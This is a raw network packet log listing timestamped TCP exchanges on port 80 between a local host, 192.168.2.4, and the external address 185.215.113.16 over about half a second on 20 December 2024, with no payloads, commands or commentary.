Dec 20, 2024 17:10:57.755847931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.756058931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.756205082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.757205963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.757544994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.757590055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.758276939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.758641958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.758687973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.759294987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.760205030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.760313034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.760380030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.760910034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.760950089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.761595011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.761801004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.761845112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.762326956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.762984991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.763139963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.763853073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.763899088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.764013052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.764049053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.764961958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.765476942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.765556097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.766134024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.766261101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.766299963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.767417908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.767608881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.767652035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.768420935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.768896103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.768940926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.769558907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.769726992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.769768000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.770667076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.770842075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.771002054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.771836996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.772913933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.772953033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.773041010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.773652077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.773693085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.774122000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.774378061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.774473906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.775268078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.775494099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.775538921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.776416063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.776525974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.776567936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.776880980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.777523041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.777714014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.777755022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.778805017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.779069901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.779112101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.779871941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.779897928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.779937983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.780992985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.782130957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.782146931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.782186031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.782232046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.782275915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.783268929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.837219954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.907064915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.907378912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.907392979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.907439947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.907447100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.907502890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.908476114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.908555984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.908688068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.909544945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.909826994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.909883976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.910813093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.911752939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.911798000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.911868095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.911906004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.912003994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.912977934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.913558960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.913635015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.914041996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.923257113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.923391104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.923449993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.923937082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.924072027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.924118996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.924204111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.924814939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.925154924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.925463915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.925561905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.926372051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.927196026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.927369118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.927427053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.927475929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.927563906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.928673983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.928781986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.928838015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.929744005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.930308104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.930362940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.930852890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.931087971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.931135893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.931937933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.932147026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.932199001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.933192015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.933639050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.933712006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.934278011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.935216904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.935278893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.935379982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.935534000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.935592890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.936575890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.937022924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.937556028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.937668085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.937793970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.937843084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.938802958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.939275980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.939971924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.940026999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.940613985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.940670967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.941103935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.941128969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.941276073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.941323042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.942359924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.942941904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.943384886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.943437099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.943631887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.944565058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.944622040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.944658995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.944705963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.945657969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.945780039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.945830107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.946841002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.947268963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.947372913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.947915077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.948015928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.948522091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.949069023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.949177027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.949218988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.950331926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.950367928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.951375008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.951430082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.951586008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.951627016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.952532053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.952816963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.952872038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.953644037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.953938961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.953989029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.954857111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.955205917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.955355883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.955943108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.956043959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.956100941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.957062960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.958113909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.958163023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.958265066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.958300114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.958378077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.959348917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.959691048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.959779024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.960531950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.960679054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.960762978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.961790085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.961986065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.962074041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.962791920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.963886976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.963942051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.963989973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.963995934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.964127064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.965210915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.965436935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.965477943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.966162920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.966430902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.966476917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.967406988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.967466116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.967530012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.968528032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.969310045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.969551086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.969660044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.969816923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.969860077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.970740080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.971925974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.971966982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.971983910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.972004890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.972079039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.973033905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.974200010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.974252939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.974266052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.974327087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:57.975231886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:57.975372076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.024717093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.099478006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.099520922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.099590063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.099875927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.100184917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.100227118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.101025105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.101317883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.101540089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.102292061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.102305889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.102355957 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.103353024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.103846073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.103885889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.104420900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.104561090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.104598999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.105627060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.105982065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.106317043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.115885973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.116096020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.116149902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.116210938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.116224051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.116286039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.117415905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.117477894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.117526054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.118493080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.119045973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.119714022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.119772911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.120105028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.120150089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.120806932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.120870113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.121545076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.121876955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.122350931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.122390985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.123059034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.123543978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.123598099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.124387026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.124439001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.124598026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.125318050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.125797033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.126616955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.126666069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.127063990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.127111912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.127619982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.128729105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.128814936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.128827095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.128859997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.128875017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.129971981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.130012035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.130062103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.131062984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.131386042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.132160902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.132208109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.132949114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.132994890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.133512020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.133873940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.134682894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.134731054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.134918928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.135025978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.135637999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.135651112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.135701895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.136765957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.137023926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.137552977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.137891054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.138375998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.138420105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.138643980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.138995886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.139332056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.140183926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.140237093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.140428066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.141340017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.141391993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.141913891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.142426968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.142474890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.142740011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.143632889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.143673897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.144150019 CET	80	49744	185.215.113.16	192.168.2.4
